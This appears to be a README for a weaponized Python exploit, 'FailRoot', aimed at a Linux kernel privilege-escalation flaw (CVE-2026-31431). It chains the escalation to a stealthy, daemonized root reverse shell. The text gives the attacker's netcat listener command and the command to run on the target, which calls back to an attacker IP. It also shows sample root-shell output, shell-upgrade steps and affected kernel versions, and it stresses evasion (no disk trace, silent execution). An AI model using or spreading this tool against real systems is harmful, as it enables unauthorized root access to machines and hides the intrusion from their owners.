
Weaponized Python exploit for CVE-2026-31431, chaining Linux kernel privilege escalation to a daemonized root reverse shell with full PTY, patching /usr/bin/su in-memory.
█▀▀ ▄▀█ █ █ █▀█ █▀█ █▀█ ▀█▀
█▀░ █▀█ █ █▄▄ █▀▄ █▄█ █▄█ ░█░
CVE-2026-31431 • Linux Kernel LPE → Root Reverse Shell
FailRoot is a weaponized exploit for CVE-2026-31431 — an out-of-bounds write in the Linux kernel's crypto: algif_aead subsystem.
It chains a privilege escalation with a daemonized root reverse shell with full PTY:
AF_ALG + splice() → 4-byte page-cache write → patch /usr/bin/su → root
The entire exploit fits in one file. No compilation. No external dependencies. No trace on disk — the su binary is patched in-memory only.
algif_aead + authencesn via multiple fallback strategies/usr/bin/su page cachepty.spawn("/usr/bin/su") → fully interactive root TTYThe reverse shell survives terminal close (SIGHUP ignored), shows zero output on the target, and connects with retries for up to 3 minutes.
# Attacker — start listener:
nc -lvnp 4444
# Target — run exploit (nothing will show, it daemonizes instantly):
python3 exploit.py <ATTACKER_IP> 4444
attacker ~ $ nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.1.100] from [192.168.1.50] 50234
root@victim:~# id
uid=0(root) gid=0(root) groups=0(root)
Ctrl+Z
stty raw -echo; fg
reset
export TERM=xterm-256color
export SHELL=/bin/bash
os.splice())/usr/bin/su (world-readable on all distros)algif_aead and authencesn availablesudo requiredFor authorized security research and education only. Misuse is illegal.
| From | To (exclusive) |
|---|
| 4.14 | 5.10.254 |
| 5.11 | 5.15.204 |
| 5.16 | 6.1.170 |
| 6.2 | 6.6.137 |
| 6.7 | 6.12.85 |
| 6.13 | 6.18.22 |
| 6.19 | 6.19.12 |
| 7.0 | rc1–rc6 |